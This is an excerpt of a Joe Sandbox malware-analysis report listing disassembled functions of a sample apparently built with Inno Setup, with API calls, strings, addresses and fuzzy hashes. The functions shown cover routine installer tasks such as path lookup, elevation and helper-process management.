Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AllocateFreeHandleInitializeModuleVersion
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4173726493-1888249752
Opcode ID: 952df93399f65c742f00ad26f12ea1d2db98546042352c41d8bfdd11bcdf1fbe
Instruction ID: ac35d0f59487471c61e1a1342d4049f29feb693cc75a8e69d60280a94490ce98
Opcode Fuzzy Hash: 952df93399f65c742f00ad26f12ea1d2db98546042352c41d8bfdd11bcdf1fbe
Instruction Fuzzy Hash: 7C519671A44705AADF51DBE58C62BFF7BE8FF05344F90082AFA00E7191E638E9408769

Function 00650AA8 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 260COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000005,00000000,00650E6B,?,?,00000000,?,00000000,00000000,?,0065134E,00000000,00651358,?,00000000), ref: 00650B2F
ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00650E6B,?,?,00000000,?,00000000,00000000), ref: 00650B55
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000004FF,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00650E6B), ref: 00650B76
ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00650E6B,?,?,00000000,?,00000000), ref: 00650B8B

Part of subcall function 005B0518: GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,005B05AD,?,?,?,00000001,?,005FB63E,00000000,005FB6A9), ref: 005B054D

Strings

Inno-Setup-RegSvr-Mutex, xrefs: 00650B39
Setup, xrefs: 00650B1A
.msg, xrefs: 00650BAE
/REGU, xrefs: 00650B02
/REG, xrefs: 00650ADE
.lst, xrefs: 00650BC8

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ShowWindow$FileModuleMultipleNameObjectsWait
String ID: .lst$.msg$/REG$/REGU$Inno-Setup-RegSvr-Mutex$Setup
API String ID: 66301061-3672972446
Opcode ID: 11ff9a5d668dd4f2d7e6ff84b01d56f7ef7fac016dca03f85604f83c2993ff07
Instruction ID: 454a7f8a8ebd9c9c0472cbc412e74aa99abd709555709b689d3e6ddf3cb357b8
Opcode Fuzzy Hash: 11ff9a5d668dd4f2d7e6ff84b01d56f7ef7fac016dca03f85604f83c2993ff07
Instruction Fuzzy Hash: 9491E430A042099FEB10EBA4C856BEEBBF6EF49301F614864FD00A7791DA75ED49CB54

Function 00643E0C Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 223COMMON

Download Yara Rule

APIs

CoTaskMemFree.OLE32(?,00644047,?,00000000,00000000,?,0064F4D6,00000006,?,00000000,0064FAA0,?,00000000,0064FB5F), ref: 0064403A
CoTaskMemFree.OLE32(?,0064409A,?,00000000,00000000,?,0064F4D6,00000006,?,00000000,0064FAA0,?,00000000,0064FB5F), ref: 0064408D

Strings

cmd.exe, xrefs: 0064410B
Failed to get path of 64-bit Program Files directory, xrefs: 00643F9B
SystemDrive, xrefs: 00643E91
Common Files, xrefs: 00643F63
CommonFilesDir, xrefs: 00643F2C, 00643FA8
Failed to get path of 64-bit Common Files directory, xrefs: 00643FCA
COMMAND.COM, xrefs: 0064412C
ProgramFilesDir, xrefs: 00643EF2, 00643F79
\Program Files, xrefs: 00643F19

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FreeTask
String ID: COMMAND.COM$Common Files$CommonFilesDir$Failed to get path of 64-bit Common Files directory$Failed to get path of 64-bit Program Files directory$ProgramFilesDir$SystemDrive$\Program Files$cmd.exe
API String ID: 734271698-544719455
Opcode ID: d362a8e580703c39958d1ab9fec0a02ec5da2bad2a648030e91cff165734e93c
Instruction ID: dd5fc3daa821dda1b6518f9a5080d1dcac5ab9c80f6433aa49f69c11db3ec318
Opcode Fuzzy Hash: d362a8e580703c39958d1ab9fec0a02ec5da2bad2a648030e91cff165734e93c
Instruction Fuzzy Hash: 7A8167346002459BDB10EFE4DC46BAE7BA7EB84704F60542AE400B7792CEB8AD55CF66

Function 0063DDA4 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 93COMMON

Download Yara Rule

APIs

Part of subcall function 0063DBC0: GetModuleHandleW.KERNEL32(kernel32.dll,GetFinalPathNameByHandleW), ref: 0063DBEC
Part of subcall function 0063DBC0: GetFileAttributesW.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleW), ref: 0063DC05
Part of subcall function 0063DBC0: CreateFileW.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleW), ref: 0063DC2F
Part of subcall function 0063DBC0: CloseHandle.KERNEL32(00000000), ref: 0063DC4D

Part of subcall function 0063DCD0: GetCurrentDirectoryW.KERNEL32(00000104,?,00000000,0063DD61,?,00000097,?,?,0063DDDB,00000000,0063DEF3,?,?,00000001), ref: 0063DCFF

ShellExecuteExW.SHELL32(0000003C), ref: 0063DE2B
GetLastError.KERNEL32(00000000,0063DEF3,?,?,00000001), ref: 0063DE34
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000004FF,00000000,0063DED1,?,00000000,0063DEF3,?,?,00000001), ref: 0063DE81
GetExitCodeProcess.KERNEL32(00000000,?), ref: 0063DEA7
CloseHandle.KERNEL32(00000000,0063DED8,00000000,00000000,000000FF,000004FF,00000000,0063DED1,?,00000000,0063DEF3,?,?,00000001), ref: 0063DECB

Strings

ShellExecuteEx returned hProcess=0, xrefs: 0063DE55
MsgWaitForMultipleObjects, xrefs: 0063DE90
<, xrefs: 0063DDEA
runas, xrefs: 0063DDF8
GetExitCodeProcess, xrefs: 0063DEB0
ShellExecuteEx, xrefs: 0063DE45

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Handle$CloseFile$AttributesCodeCreateCurrentDirectoryErrorExecuteExitLastModuleMultipleObjectsProcessShellWait
String ID: <$GetExitCodeProcess$MsgWaitForMultipleObjects$ShellExecuteEx$ShellExecuteEx returned hProcess=0$runas
API String ID: 254331816-221126205
Opcode ID: 34014370f5579deeee9a70eab962f15452e20141bfd9a2655e6417c1dd94800e
Instruction ID: 19f62c8c6b26142c15b7ccd5ce8ac2d9ded865074aa3ecb0be12b35c3f976091
Opcode Fuzzy Hash: 34014370f5579deeee9a70eab962f15452e20141bfd9a2655e6417c1dd94800e
Instruction Fuzzy Hash: 69317671E002099FDB10EFA9E8826EDBAB9FF44704F50057DF514E7391DB7499408B95

Function 0061AD2C Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 70sleepsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0061AD63
TerminateProcess.KERNEL32(?,00000001,?,00002710,?), ref: 0061AD7F
WaitForSingleObject.KERNEL32(?,00002710,?), ref: 0061AD8D
GetExitCodeProcess.KERNEL32(?), ref: 0061AD9E
CloseHandle.KERNEL32(?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 0061ADE5
Sleep.KERNEL32(000000FA,?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 0061AE01

Strings

Helper isn't responding; killing it., xrefs: 0061AD6F
Helper process exited, but failed to get exit code., xrefs: 0061ADD7
Helper process exited with failure code: 0x%x, xrefs: 0061ADCB
Stopping 64-bit helper process. (PID: %u), xrefs: 0061AD55
Helper process exited., xrefs: 0061ADAD

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CloseHandleProcess$CodeExitObjectSingleSleepTerminateWait
String ID: Helper isn't responding; killing it.$Helper process exited with failure code: 0x%x$Helper process exited, but failed to get exit code.$Helper process exited.$Stopping 64-bit helper process. (PID: %u)
API String ID: 3355656108-1243109208
Opcode ID: c9807878450f3555804f3481b699adbde9aaaeedd93afa765d6bdd2e8624556d
Instruction ID: 798cb82454b907f4610273c7cefa33f3cc1412bd95dfbe18a7574247b18f10f4
Opcode Fuzzy Hash: c9807878450f3555804f3481b699adbde9aaaeedd93afa765d6bdd2e8624556d
Instruction Fuzzy Hash: EF21AF706457409AC720EBB9D5417CBBAD69F19300F088D2DF19ACB692D7B4E8C09753

Function 0064ED7C Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 145fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005F89FC: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,?,_iu,?,00000000,005F8B37), ref: 005F8AE7
Part of subcall function 005F89FC: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,?,_iu,?,00000000,005F8B37), ref: 005F8AF7

CopyFileW.KERNEL32(00000000,00000000,00000000,00000000,0064EF6A), ref: 0064EDFF
SetFileAttributesW.KERNEL32(00000000,00000080,00000000,00000000,00000000,00000000,0064EF6A), ref: 0064EE26
SetWindowLongW.USER32(?,000000FC,0064E478), ref: 0064EE60
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,0064EF33,?,?,000000FC,0064E478,00000000,00400000,00000000), ref: 0064EE95
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,0064EF33), ref: 0064EF09
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,0064EF33,?,?,000000FC,0064E478,00000000), ref: 0064EF17

Part of subcall function 005F8EF4: WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 005F8FDA

DestroyWindow.USER32(?,0064EF3A,00000000,00000000,00000000,00000000,00000000,00000097,00000000,0064EF33,?,?,000000FC,0064E478,00000000,00400000), ref: 0064EF2D

Strings

STATIC, xrefs: 0064EE46
/SECONDPHASE="%s" /FIRSTPHASEWND=$%x , xrefs: 0064EEC4

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileWindow$CloseHandle$AttributesCopyCreateDestroyLongMultipleObjectsPrivateProfileStringWaitWrite
String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
API String ID: 1779715363-2312673372
Opcode ID: 77f6f6f6fb1eb5ada4cbe5229a27d75d8458d2c8502fe412c91970d5af7348ff
Instruction ID: cb016fcbe83d026b746195098022f91b3a08dbab4975f128bac4cf3c8a8463a3
Opcode Fuzzy Hash: 77f6f6f6fb1eb5ada4cbe5229a27d75d8458d2c8502fe412c91970d5af7348ff
Instruction Fuzzy Hash: 04416D70A40208AFDB40EFB8DC52AEEBBF9FB09714F51446AF500F7691E6759E008B64

Function 0061AFDC Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 124pipeCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,000000FF,00000000,00000000,00000000,0061B1BF,?,00000000,0061B21A,?,?,?,00000000), ref: 0061B039
TransactNamedPipe.KERNEL32(?,-00000020,0000000C,-00004034,00000014,?,?,00000000,0061B154,?,00000000,000000FF,00000000,00000000,00000000,0061B1BF), ref: 0061B096
GetLastError.KERNEL32(?,-00000020,0000000C,-00004034,00000014,?,?,00000000,0061B154,?,00000000,000000FF,00000000,00000000,00000000,0061B1BF), ref: 0061B0A3
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000004FF,?,?,-00000020,0000000C,-00004034,00000014,?,?,00000000,0061B154), ref: 0061B0EF
GetOverlappedResult.KERNEL32(?,?,00000000,000000FF,0061B12D,?,00000000), ref: 0061B119
GetLastError.KERNEL32(?,?,00000000,000000FF,0061B12D,?,00000000), ref: 0061B120

Part of subcall function 005F84D8: GetLastError.KERNEL32(00000000,005F91EE,00000005,00000000,005F9216,?,?,0066978C,?,00000000,00000000,00000000,?,00650A7F,00000000,00650A9A), ref: 005F84DB

Strings

TransactNamedPipe, xrefs: 0061B0AF
CreateEvent, xrefs: 0061B047

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ErrorLast$CreateEventMultipleNamedObjectsOverlappedPipeResultTransactWait
String ID: CreateEvent$TransactNamedPipe
API String ID: 2182916169-3012584893
Opcode ID: f3f6691c1874f446a7c7284f1b6927ee4e9325dc9b34836dbe96d81c1e2aff7b
Instruction ID: d0b5e641d23b1beaa1296b08846350201fa2eda204b4eae0268dfb10b8facce3
Opcode Fuzzy Hash: f3f6691c1874f446a7c7284f1b6927ee4e9325dc9b34836dbe96d81c1e2aff7b
Instruction Fuzzy Hash: 03418E70A00208AFDB01DF99CD91EEEBBB9FB0D314F1541A5FA14E7391D7749A90CA68

Function 005B155C Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 82registryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,005B1656,?,00000000), ref: 005B1583

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

RegCloseKey.ADVAPI32(00000001,00000001,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,005B1656,?,00000000), ref: 005B15D6

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 005B15E5
GetUserDefaultUILanguage, xrefs: 005B1579
.DEFAULT\Control Panel\International, xrefs: 005B15AD
kernel32.dll, xrefs: 005B157E
Locale, xrefs: 005B15C5

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: efbe6b4b6ec2bc001232fc299448c635db1c352edd7f61c9ee6d360b2af771fb
Instruction ID: f3b80c1a87da7667449a85c8543438c8ab4114b066e130539604926b1af64128
Opcode Fuzzy Hash: efbe6b4b6ec2bc001232fc299448c635db1c352edd7f61c9ee6d360b2af771fb
Instruction Fuzzy Hash: C7219634A40604ABDB50EBB5CD66ADE7BE8FB84340FA04475E501E3581DB74BE408B58

Function 00407104 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetLogicalProcessorInformation), ref: 00407119
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0040711F
GetLogicalProcessorInformation.KERNEL32(00000000,005B1257,GetLogicalProcessorInformation), ref: 00407132
GetLastError.KERNEL32(00000000,005B1257,GetLogicalProcessorInformation), ref: 0040713B
GetLogicalProcessorInformation.KERNEL32(00000000,005B1257,00000000,004071B2,?,00000000,005B1257,GetLogicalProcessorInformation), ref: 00407166

Strings

@, xrefs: 004071B9
kernel32.dll, xrefs: 00407114
GetLogicalProcessorInformation, xrefs: 0040710F

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: InformationLogicalProcessor$AddressErrorHandleLastModuleProc
String ID: @$GetLogicalProcessorInformation$kernel32.dll
API String ID: 1184211438-79381301
Opcode ID: b2a0f765048d362bf3b63640f3b9e4d4cc1584ec48073b734667f4f9289056ab
Instruction ID: 2a2551bed56c130c8612e6e6611bb7f0169533bd52abfaf2f231836d318f311a
Opcode Fuzzy Hash: b2a0f765048d362bf3b63640f3b9e4d4cc1584ec48073b734667f4f9289056ab
Instruction Fuzzy Hash: 99114571D08204BADB10EFA5D84576EBBF8EB44705F1481BBE914B73C1D67CAA808B5A

Function 0040ECE1 Relevance: 13.8, APIs: 9, Instructions: 257COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0040ED98

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 92cc54864dd0bbfb11f1611543af708f5326443a752958f50f1db9ea9fa0d6e6
Instruction ID: f27d7ef7acb61dd46234c6ac8536030262216957dd27a0a5aa9c93a8a5e03d54
Opcode Fuzzy Hash: 92cc54864dd0bbfb11f1611543af708f5326443a752958f50f1db9ea9fa0d6e6
Instruction Fuzzy Hash: 6EA17E75900209EFDB24DFA5D880BAEB7B5BF58300F10893AE505B73C0D7B8A945CB94

Function 00619BC0 Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 124COMMON

Download Yara Rule

APIs

